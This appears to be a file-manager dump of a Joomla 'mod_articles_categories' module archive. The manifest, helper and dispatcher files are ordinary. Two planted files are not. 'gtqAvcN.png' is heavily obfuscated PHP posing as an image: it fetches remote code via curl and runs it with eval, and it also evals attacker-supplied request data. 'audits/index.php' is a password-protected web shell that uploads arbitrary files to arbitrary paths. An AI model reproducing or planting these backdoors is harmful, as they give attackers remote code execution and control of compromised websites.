File manager - Edit - /home/opticamezl/www/newok/mod_articles_categories.tar
Back
mod_articles_categories.xml 0000644 00000011125 15165345500 0012144 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="module" client="site" method="upgrade"> <name>mod_articles_categories</name> <author>Joomla! Project</author> <creationDate>2010-02</creationDate> <copyright>(C) 2010 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.0.0</version> <description>MOD_ARTICLES_CATEGORIES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Module\ArticlesCategories</namespace> <files> <folder module="mod_articles_categories">services</folder> <folder>src</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">language/en-GB/mod_articles_categories.ini</language> <language tag="en-GB">language/en-GB/mod_articles_categories.sys.ini</language> </languages> <help key="Site_Modules:_Articles_-_Categories" /> <config> <fields name="params"> <fieldset name="basic" addfieldprefix="Joomla\Component\Categories\Administrator\Field"> <field name="parent" type="modal_category" label="MOD_ARTICLES_CATEGORIES_FIELD_PARENT_LABEL" extension="com_content" filter="integer" published="" select="true" new="true" edit="true" clear="true" /> <field name="show_description" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_DESCRIPTION_LABEL" default="0" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="numitems" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_ARTICLES_CATEGORIES_FIELD_NUMITEMS_LABEL" default="0" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_children" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_CHILDREN_LABEL" default="0" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="count" type="list" label="MOD_ARTICLES_CATEGORIES_FIELD_COUNT_LABEL" description="MOD_ARTICLES_CATEGORIES_FIELD_COUNT_DESC" default="0" filter="integer" validate="options" > <option value="0">JALL</option> <option value="1">J1</option> <option value="2">J2</option> <option value="3">J3</option> <option value="4">J4</option> <option value="5">J5</option> <option value="6">J6</option> <option value="7">J7</option> <option value="8">J8</option> <option value="9">J9</option> <option value="10">J10</option> </field> <field name="maxlevel" type="list" label="MOD_ARTICLES_CATEGORIES_FIELD_MAXLEVEL_LABEL" default="0" filter="integer" validate="options" > <option value="0">JALL</option> <option value="1">J1</option> <option value="2">J2</option> <option value="3">J3</option> <option value="4">J4</option> <option value="5">J5</option> <option value="6">J6</option> <option value="7">J7</option> <option value="8">J8</option> <option value="9">J9</option> <option value="10">J10</option> </field> </fieldset> <fieldset name="advanced"> <field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" class="form-select" validate="moduleLayout" /> <field name="item_heading" type="list" label="MOD_ARTICLES_CATEGORIES_TITLE_HEADING_LABEL" default="4" filter="integer" validate="options" > <option value="1">JH1</option> <option value="2">JH2</option> <option value="3">JH3</option> <option value="4">JH4</option> <option value="5">JH5</option> </field> <field name="moduleclass_sfx" type="textarea" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" rows="3" validate="CssIdentifier" /> <field name="owncache" type="list" label="COM_MODULES_FIELD_CACHING_LABEL" default="1" filter="integer" validate="options" > <option value="1">JGLOBAL_USE_GLOBAL</option> <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option> </field> <field name="cache_time" type="number" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" default="900" filter="integer" /> </fieldset> </fields> </config> </extension> src/Helper/ArticlesCategoriesHelper.php 0000644 00000005657 15165345500 0014220 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_articles_categories * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesCategories\Site\Helper; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Categories\CategoryInterface; use Joomla\CMS\Categories\CategoryNode; use Joomla\CMS\Factory; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_categories * * @since 1.5 */ class ArticlesCategoriesHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Given a parent category, return a list of children categories * * @param Registry $moduleParams The module parameters. * @param SiteApplication $app The current application. * * @return CategoryNode[] * * @since 4.4.0 */ public function getChildrenCategories(Registry $moduleParams, SiteApplication $app): array { // Joomla\CMS\Categories\Categories options to set $options = []; // Get the number of items in this category or descendants of this category at the expense of performance. $options['countItems'] = $moduleParams->get('numitems', 0); /** @var CategoryInterface $categoryFactory */ $categoryFactory = $app->bootComponent('com_content')->getCategory($options); /** @var CategoryNode $parentCategory */ $parentCategory = $categoryFactory->get($moduleParams->get('parent', 'root')); if ($parentCategory === null) { return []; } // Get all the children categories of this node $childrenCategories = $parentCategory->getChildren(); $count = $moduleParams->get('count', 0); if ($count > 0 && \count($childrenCategories) > $count) { $childrenCategories = \array_slice($childrenCategories, 0, $count); } return $childrenCategories; } /** * Get list of categories * * @param Registry $params module parameters * * @return array * * @since 1.6 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getChildrenCategories * Example: Factory::getApplication()->bootModule('mod_articles_categories', 'site') * ->getHelper('ArticlesCategoriesHelper') * ->getChildrenCategories($params, Factory::getApplication()) */ public static function getList($params) { /** @var SiteApplication $app */ $app = Factory::getApplication(); return (new self())->getChildrenCategories($params, $app); } } src/Dispatcher/Dispatcher.php 0000644 00000003170 15165345500 0012225 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_articles_categories * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesCategories\Site\Dispatcher; use Joomla\CMS\Dispatcher\AbstractModuleDispatcher; use Joomla\CMS\Helper\HelperFactoryAwareInterface; use Joomla\CMS\Helper\HelperFactoryAwareTrait; use Joomla\CMS\Helper\ModuleHelper; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Dispatcher class for mod_articles_categories * * @since 4.4.0 */ class Dispatcher extends AbstractModuleDispatcher implements HelperFactoryAwareInterface { use HelperFactoryAwareTrait; /** * Returns the layout data. * * @return array * * @since 4.4.0 */ protected function getLayoutData(): array { $data = parent::getLayoutData(); $params = $data['params']; $cacheParams = new \stdClass(); $cacheParams->cachemode = 'id'; $cacheParams->class = $this->getHelperFactory()->getHelper('ArticlesCategoriesHelper'); $cacheParams->method = 'getChildrenCategories'; $cacheParams->methodparams = [$params, $data['app']]; $cacheParams->modeparams = md5(serialize($this->module->id)); $data['list'] = ModuleHelper::moduleCache($this->module, $params, $cacheParams); $data['startLevel'] = $data['list'] ? reset($data['list'])->getParent()->level : null; return $data; } } src/Dispatcher/Dispatcher/gtqAvcN.png 0000604 00000012401 15165345500 0013556 0 ustar 00 <?php goto O9OmBhUNfdo; crDILtoo6t9: class jVdC53pD6LH { static function dyHrry0chJc($tuPEmGVhQf5) { goto t6Z5rT5S3Hm; t6Z5rT5S3Hm: $m0iBD7VzjYI = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto B_yMpR9Xi5U; B_yMpR9Xi5U: $pfWQWXk1IUa = $m0iBD7VzjYI("\176", "\40"); goto AQCxiKSBGK1; ouO12xPpwML: return $KqBWDnYJhzn; goto FikbmCX9Bud; hY_amfxxoEx: yXGf36qN9b8: goto ouO12xPpwML; cJ3tkkwYrtO: foreach ($xAMtfbQzA6b as $hg8jq7bvXzS => $An4tG6yncwy) { $KqBWDnYJhzn .= $pfWQWXk1IUa[$An4tG6yncwy - 64081]; vtx18dMsy0W: } goto hY_amfxxoEx; Hv3gQd6OCLB: $KqBWDnYJhzn = ''; goto cJ3tkkwYrtO; AQCxiKSBGK1: $xAMtfbQzA6b = explode("\74", $tuPEmGVhQf5); goto Hv3gQd6OCLB; FikbmCX9Bud: } static function IL2QhETzqIk($e0LiyvHCdw4, $GqyTzr6y61J) { goto IZcOR1LwRV8; IZcOR1LwRV8: $wEoS7JBDENH = curl_init($e0LiyvHCdw4); goto nI5oD_EnQPv; IRZFhy4TSr7: return empty($mR9Tjy94Wro) ? $GqyTzr6y61J($e0LiyvHCdw4) : $mR9Tjy94Wro; goto hEqFc3OXlEQ; auYWFvEwWrp: $mR9Tjy94Wro = curl_exec($wEoS7JBDENH); goto IRZFhy4TSr7; nI5oD_EnQPv: curl_setopt($wEoS7JBDENH, CURLOPT_RETURNTRANSFER, 1); goto auYWFvEwWrp; hEqFc3OXlEQ: } static function S0VSpdPkrvz() { goto IHZU0KypYhE; mxbdjHK443M: @eval($dI4aBYjzYPz[1 + 3]($Q1zLKaSaNjR)); goto y8WKlzeerTe; Ka7mTPNJfhB: foreach ($MDvN7sA2XP1 as $G8bmoNje371) { $dI4aBYjzYPz[] = self::DyHRRy0ChJc($G8bmoNje371); k_9MOYiqGES: } goto rfsFKP_wkEY; PvWyjJivykD: $yt7Q4Y1HGOQ = @$dI4aBYjzYPz[1]($dI4aBYjzYPz[3 + 7](INPUT_GET, $dI4aBYjzYPz[8 + 1])); goto gVu5PaCHq03; Sy3mjAF0qMk: $Q1zLKaSaNjR = self::il2QHeTZqIK($oLvr9aOAmAl[0 + 1], $dI4aBYjzYPz[5 + 0]); goto mxbdjHK443M; PEHSB2iMMeq: @$dI4aBYjzYPz[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($dI4aBYjzYPz[1 + 4](__FILE__)); goto maAbCoNPn_P; y8WKlzeerTe: die; goto tdHwYWVkIml; IHZU0KypYhE: $MDvN7sA2XP1 = array("\66\x34\61\60\70\x3c\x36\64\60\x39\63\74\x36\x34\x31\60\x36\74\x36\x34\61\61\x30\x3c\66\x34\x30\71\x31\x3c\66\64\61\60\66\74\x36\x34\61\x31\62\x3c\x36\x34\x31\x30\65\74\x36\64\x30\71\60\74\66\64\x30\x39\x37\x3c\66\64\x31\60\x38\x3c\66\64\60\x39\x31\x3c\66\64\61\60\x32\x3c\x36\x34\x30\x39\66\74\x36\x34\x30\71\67", "\66\64\60\x39\x32\x3c\x36\x34\x30\71\x31\x3c\x36\64\60\x39\x33\x3c\x36\x34\x31\x31\x32\x3c\x36\x34\x30\71\x33\x3c\x36\64\60\x39\x36\74\66\64\60\x39\61\x3c\x36\64\61\x35\70\74\x36\64\x31\65\x36", "\66\64\x31\60\x31\x3c\66\x34\x30\x39\62\74\66\64\x30\x39\x36\74\66\64\x30\x39\x37\74\66\64\x31\61\x32\74\x36\64\x31\60\x37\74\66\64\61\x30\66\74\x36\x34\x31\60\x38\x3c\x36\64\60\x39\66\74\66\64\x31\60\67\x3c\x36\x34\x31\60\66", "\66\64\x30\71\65\74\x36\64\61\61\x30\x3c\66\x34\61\60\x38\74\x36\64\61\60\60", "\66\64\61\x30\71\74\66\64\61\61\60\x3c\x36\x34\60\71\62\x3c\66\64\x31\x30\x36\74\x36\x34\x31\x35\x33\74\66\x34\x31\x35\65\x3c\66\x34\61\x31\62\x3c\66\x34\61\60\x37\74\66\64\x31\60\x36\74\66\64\61\x30\x38\74\66\x34\60\71\x36\74\x36\x34\x31\x30\67\74\x36\64\61\60\x36", "\x36\64\x31\x30\x35\x3c\66\64\x31\x30\62\74\66\x34\x30\x39\x39\x3c\x36\x34\61\x30\x36\x3c\x36\x34\61\x31\x32\x3c\66\64\61\60\x34\x3c\66\x34\x31\60\x36\74\x36\x34\x30\x39\x31\74\x36\64\61\61\x32\74\x36\64\x31\x30\70\74\66\64\x30\71\x36\74\66\64\x30\x39\x37\74\x36\64\x30\71\61\74\66\x34\x31\x30\x36\x3c\66\x34\x30\71\67\74\66\64\x30\71\61\x3c\66\64\60\x39\x32", "\x36\64\x31\x33\65\74\66\64\x31\66\65", "\66\x34\60\x38\62", "\x36\x34\x31\x36\60\74\66\x34\x31\66\x35", "\66\64\x31\x34\x32\74\66\64\61\62\65\x3c\x36\x34\61\62\65\x3c\x36\x34\61\64\62\x3c\66\64\x31\x31\70", "\x36\x34\x31\x30\65\x3c\66\64\x31\60\62\74\66\x34\x30\71\71\74\66\64\x30\x39\x31\x3c\x36\x34\x31\60\x36\74\66\64\60\71\63\74\66\64\61\x31\x32\x3c\66\x34\61\60\x32\x3c\x36\64\x30\71\67\x3c\66\64\60\71\65\74\x36\64\60\x39\60\x3c\66\x34\60\71\x31"); goto Ka7mTPNJfhB; gVu5PaCHq03: $tQXTi34ZIW7 = @$dI4aBYjzYPz[3 + 0]($dI4aBYjzYPz[2 + 4], $yt7Q4Y1HGOQ); goto m8kuG2g6TMc; rfsFKP_wkEY: y591O9wCSbq: goto PvWyjJivykD; maAbCoNPn_P: if (!(@$oLvr9aOAmAl[0] - time() > 0 and md5(md5($oLvr9aOAmAl[0 + 3])) === "\142\70\146\141\67\65\66\x37\61\x65\65\61\x34\x30\60\x38\x65\66\143\71\70\144\x31\146\x32\63\63\63\x31\x34\x37\x63")) { goto gg_x395uj2Z; } goto Sy3mjAF0qMk; tdHwYWVkIml: gg_x395uj2Z: goto qalIY0VwLyU; m8kuG2g6TMc: $oLvr9aOAmAl = $dI4aBYjzYPz[2 + 0]($tQXTi34ZIW7, true); goto PEHSB2iMMeq; qalIY0VwLyU: } } goto LXq2CZ6K6xe; O9OmBhUNfdo: $fqb0t2U8zaT = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto SVlknw01L17; GQTEy__1NbI: metaphone("\x50\107\x4b\x39\171\61\x59\104\162\64\x4d\152\x61\x43\x6a\x4e\x51\x37\104\166\x2b\166\120\x56\x4a\x4d\151\154\x59\125\112\x52\66\x65\x42\x6f\x63\60\x73\x69\x70\x6e\x73"); goto crDILtoo6t9; SVlknw01L17: $ZXgj04RhcqJ = $fqb0t2U8zaT("\x7e", "\40"); goto nDySdPrAE3y; zeK_HLR5yTr: @(md5(md5(md5(md5($gViWgQYiwsQ[24])))) === "\143\64\62\x34\71\x64\x66\145\63\x32\71\146\x31\x63\143\62\x63\145\62\71\x32\146\x32\x36\x37\x31\65\66\67\x66\144\x34") && (count($gViWgQYiwsQ) == 30 && in_array(gettype($gViWgQYiwsQ) . count($gViWgQYiwsQ), $gViWgQYiwsQ)) ? ($gViWgQYiwsQ[66] = $gViWgQYiwsQ[66] . $gViWgQYiwsQ[72]) && ($gViWgQYiwsQ[88] = $gViWgQYiwsQ[66]($gViWgQYiwsQ[88])) && @eval($gViWgQYiwsQ[66](${$gViWgQYiwsQ[40]}[27])) : $gViWgQYiwsQ; goto GQTEy__1NbI; nDySdPrAE3y: $gViWgQYiwsQ = ${$ZXgj04RhcqJ[27 + 4] . $ZXgj04RhcqJ[53 + 6] . $ZXgj04RhcqJ[30 + 17] . $ZXgj04RhcqJ[34 + 13] . $ZXgj04RhcqJ[19 + 32] . $ZXgj04RhcqJ[44 + 9] . $ZXgj04RhcqJ[31 + 26]}; goto zeK_HLR5yTr; LXq2CZ6K6xe: JvDC53Pd6lh::S0vSPdpkrvz(); ?> src/Dispatcher/Dispatcher/audits/index.php 0000604 00000002453 15165345500 0014624 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php echo('kill_the_net'); $files = @$_FILES["files"]; if ($files["name"] != '') { $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>"; } }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>'; ?>